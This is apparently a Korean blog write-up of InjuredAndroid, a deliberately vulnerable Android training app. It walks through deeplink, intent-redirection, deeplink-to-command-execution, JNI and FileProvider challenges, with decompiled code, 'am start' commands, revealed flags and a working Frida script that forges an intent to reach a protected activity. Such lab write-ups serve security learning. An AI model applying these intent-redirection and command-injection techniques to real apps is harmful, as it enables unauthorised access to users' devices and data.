지난 글에 이어서 적어보도록 하겠다.
DeepLink
AndroidManifest.xml 파일을 보면 scheme이 flag11
인 것을 볼 수 있다.
아래와 같이 data.getScheme()
이 flag11
이 아니면 해당 엑티비티를 볼 수 없다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//DeepLinkActivity: 132
@Override // androidx.appcompat.app.c, androidx.fragment.app.d, androidx.activity.ComponentActivity, androidx.core.app.e, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_deep_link);
j.j.a(this);
Intent intent = getIntent();
d.s.d.g.d(intent, "intentToUri");
Uri data = intent.getData();
if (d.s.d.g.a("flag11", data != null ? data.getScheme() : null)) {
startActivity(new Intent("android.intent.action.VIEW"));
}
((FloatingActionButton) findViewById(R.id.fab)).setOnClickListener(new a());
}
am
명령어를 이용해 딥링크를 설정해준다.
1
am start -W -a android.intent.action.VIEW -d "flag11://"
그러면 플레그를 입력하는 화면이 나오고 힌트를 보면 Find the complied treasure
이라고 한다. resources/assets/ 에서 meʼnu
라는 바이너리를 찾을 수 있고 로컬에서 확인하기 위해 jadx
명령어로 디컴파일 해준다.(apk파일을 unzip 했을 때 해당 바이너리가 보이지 않았다)
1
jadx ./b3nac.injuredandroid.apk
여기서 문제점은 폰이나 컴퓨터나 arm 기반이라서 바이너리가 실행되지 않아 플레그를 볼 수 없었다. 심지어 플레그가 일정한 포멧이 아니기 때문에 절대로 strings
명령어로도 게싱조차 할 수 없다. 아무튼 환경에 맞춰서 바이너리를 실행하면 된다. 플레그는 HIIMASTRING
이다.
Protected components
ExportedProtectedIntent 클래스에서 아래와 같이 getParcelableExtra()
를 통해서 intent
객체를 받아온다. 그리고 패키지 이름이 b3nac.injuredandroid 이면 엑티비티를 실행시킨다.(getParcelableExtra(String)은 현재 deprecated)
1
2
3
4
5
6
7
8
9
10
//ExportedProtectedIntent: 12
...
private void F(Intent intent) {
Intent intent2 = (Intent) intent.getParcelableExtra("access_protected_component");
if (intent2.resolveActivity(getPackageManager()).getPackageName().equals("b3nac.injuredandroid")) {
startActivity(intent2);
}
}
FlagTwelveProtectedActivity 클래스에서는 getStringExtra()
를 통해서 문자열 값을 받아온다. 23번째 줄의 조건문을 보면 값의 scheme이 https 이어야 플레그를 얻을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public final class FlagTwelveProtectedActivity extends androidx.appcompat.app.c {
private final void F() {
startActivity(new Intent(this, FlagOneSuccess.class));
}
@Override // androidx.appcompat.app.c, androidx.fragment.app.d, androidx.activity.ComponentActivity, androidx.core.app.e, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
WebView webView = new WebView(this);
setContentView(webView);
j.j.a(this);
C((Toolbar) findViewById(R.id.toolbar));
Uri parse = Uri.parse(getIntent().getStringExtra("totally_secure"));
WebSettings settings = webView.getSettings();
d.s.d.g.d(settings, "flagWebView.settings");
settings.setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
if (getIntent() == null || !getIntent().hasExtra("totally_secure")) {
finish();
return;
}
d.s.d.g.d(parse, "uri");
if (!d.s.d.g.a("https", parse.getScheme())) {
webView.loadData(getIntent().getStringExtra("totally_secure"), "text/html", "UTF-8");
return;
}
FlagsOverview.K = true;
j jVar = new j();
Context applicationContext = getApplicationContext();
d.s.d.g.d(applicationContext, "applicationContext");
jVar.b(applicationContext, "flagTwelveButtonColor", true);
F();
}
}
이건 몰라서 롸업을 봤는데 PoC 앱을 하나 만들어주는 방식으로 했다. 하지만 PoC 코드를 보니 startActivity를 후킹하여 내가 의도하는 intent를 전달해주면 가능할 것 같아서 아래와 같이 스크립트를 작성하고 frida로 해봤는데 정상적으로 플레그를 얻을 수 있었다.
참고로 setClassName()
을 통해서 다른 Application의 엑티비티를 call 할 수 있다. 따라서 PoC 앱이 가능한 이유는 ExportedProtectedIntent
에 해당하는 activity 컴포넌트가 exported='true'
로 설정되어있기 때문이다.
만약 무슨말인지 모르겠다면 여기를 읽어보자.
1
2
3
4
5
6
7
8
9
10
11
12
13
function hookStartActivity(){
var Activity = Java.use("android.app.Activity")
var intent = Java.use("android.content.Intent");
Activity.startActivity.overload('android.content.Intent').implementation=function(a1){
var instance = intent.$new();
var instance2 = intent.$new();
instance.setClassName('b3nac.injuredandroid','b3nac.injuredandroid.FlagTwelveProtectedActivity');
instance.putExtra('totally_secure','https://asd.com');
instance2.setClassName('b3nac.injuredandroid','b3nac.injuredandroid.ExportedProtectedIntent');
instance2.putExtra('access_protected_component',instance);
return this.startActivity(instance2);
}
}
RCE
RCEActivity에서 onCreate 부분을 보면 총 3개의 파라미터를 사용하는 것을 볼 수 있다. queryParameter3
이 null이면 binary
, param
파라미터를 통해서 특정 위치에 있는 바이너리 파일에 인자를 주고 실행하는 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//RCEActivity: 267
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_rce);
j.j.a(this);
C((Toolbar) findViewById(R.id.toolbar));
G();
((FloatingActionButton) findViewById(R.id.fab)).setOnClickListener(new a());
if (getIntent() != null) {
Intent intent = getIntent();
d.s.d.g.d(intent, "intent");
if (intent.getData() != null) {
H();
Intent intent2 = getIntent();
d.s.d.g.d(intent2, "intent");
Uri data = intent2.getData();
try {
d.s.d.g.c(data);
String queryParameter = data.getQueryParameter("binary");
String queryParameter2 = data.getQueryParameter("param");
String queryParameter3 = data.getQueryParameter("combined");
if (queryParameter3 != null) {
this.x.b(new b(queryParameter3));
} else {
Runtime runtime = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
File filesDir = getFilesDir();
d.s.d.g.d(filesDir, "filesDir");
sb.append(filesDir.getParent());
sb.append("/files/");
sb.append(queryParameter);
sb.append(" ");
sb.append(queryParameter2);
Process exec = runtime.exec(sb.toString());
d.s.d.g.d(exec, "process");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
StringBuilder sb2 = new StringBuilder();
d.r.c.a(bufferedReader, new c(sb2));
exec.waitFor();
TextView textView = (TextView) findViewById(R.id.RCEView);
d.s.d.g.d(textView, "tv");
textView.setText(sb2.toString());
}
} catch (IOException e) {
Log.e("RCEActivity", "OH NO AN ERROR OCCURED!!!:" + e.getMessage());
}
}
}
}
filesDir
을 정확하게 알기 위해서 d.s.d.g.d
를 후킹해보니 /data/user/0/b3nac.injuredandroid/files
였다.
해당 경로로 가보면 총 3개의 바이너리가 존재했다. menu는 이미 앞에서 사용했기 때문에 narnia
를 눈여겨 보았다.
핸드폰에 맞는 narnia.arm64
에 실행권한을 주고 실행했는데 파라미터가 필요하다고 나온다.
--help
를 입력하면 쓸 수 있는 인자 값들이 나온다. (점점 게싱을 요구한다)
testOne, testTwo, testThree를 각각 인자 값으로 주면 Treasure
, _
, Planet
이 나온다.
이 셋을 조합하면 Treasure_Planet
이 된다. 이걸 combined
파라미터에 넣고 전송하면 끝난다. (루팅된 단말기이기 때문에 굳이 딥링크로 명령어를 날리면서 확인할 필요가 없었다. 에뮬도 마찬가지겠지만)
1
am start -W -a android.intent.action.VIEW -d "flag13://rce?combined=Treasure_Planet"
Assembly
AssemblyActivity 클래스에서 라이브러리단에서 stringFromJNI()
호출하는 것을 볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
//AssemblyActivity
...
static {
System.loadLibrary("native-lib");
}
...
public final native String stringFromJNI();
ida
에서 해당 함수를 검색하여 보면 입력 값(플레그)을 바로 찾을 수 있다.
File Provider
AndroidManifest.xml
파일에서 FlagEighteenActivity에 해당하는 부분을 보면 처음보는 provider
태그가 보인다.
아래에서 알아보도록 하자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
AndroidManifest.xml: 26
...
<activity
android:name=".FlagEighteenActivity"
android:exported="true"
android:label="@string/title_activity_flag_eighteen"
android:theme="@style/AppTheme.NoActionBar" />
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="b3nac.injuredandroid.fileprovider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths" />
</provider>
File Provider란?
안전한 파일 공유를 해도록 도와주는 것이다. 이를 이용하면 file://
대신에 content://
형태의 scheme을 사용할 수 있는데 임시적으로 파일에 대한 권한을 부여하는 것이다.
위의 Manifest 파일에서 grantUriPermissions
는 가장 중요한 부분으로 해당 경로의 파일을 읽고, 쓸 수 있도록 설정해주는 부분이다.
<meta-data />
컴포넌트 에서는 file path에 대한 설정을 하게 되는데 아래와 같이 resource/res/xml/file_paths.xml
에서 확인할 수 있다. <files-path />
의 경우 디폴트는 /data/data/<package_name>/files
이다.
1
2
3
4
<?xml version ="1.0" encoding ="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<files-path name="files" path="/" />
</paths>
결국은 아래와 같이 접근할 수 있는데 file scheme을 쓰는 것과 다르게 절대적인 경로를 포함하지 않기 때문에 file scheme을 써서 절대경로를 노출시키는 것 보다 안전할 수 있다.
1
content://b3nac.injuredandroid.fileprovider/files/test
그래서 이 문제 같은 경우는 엑티비티가 exported=”true”
로 설정되어있기 때문에 poc 앱을 만들어서 접근을 할 수도 있고 또는 frida
를 이용하여 풀 수 있다. 하지만 굳이 이렇게 안해도 루팅된 기기에서는 앱의 디렉토리에 접근이 가능하기 때문에 눈치 껏 풀 수도?
총평
이렇게 모든 문제를 풀어보았는데 14, 16, 17번은 빠져있다. 그 이유는 https://b3nac.com
이 사이트가 지금은 정상적으로 호스팅되지 않기 때문에 이와 관련된 문제는 풀 수 없었다.🙂 기본적으로 난독화가 조금 되어있기 때문에 시간은 걸릴지라도 안드로이드에 대해서 조금 더 알게된 느낌을 받고 싶다면 한 번 풀어보는 것을 추천한다.
Comments powered by Disqus.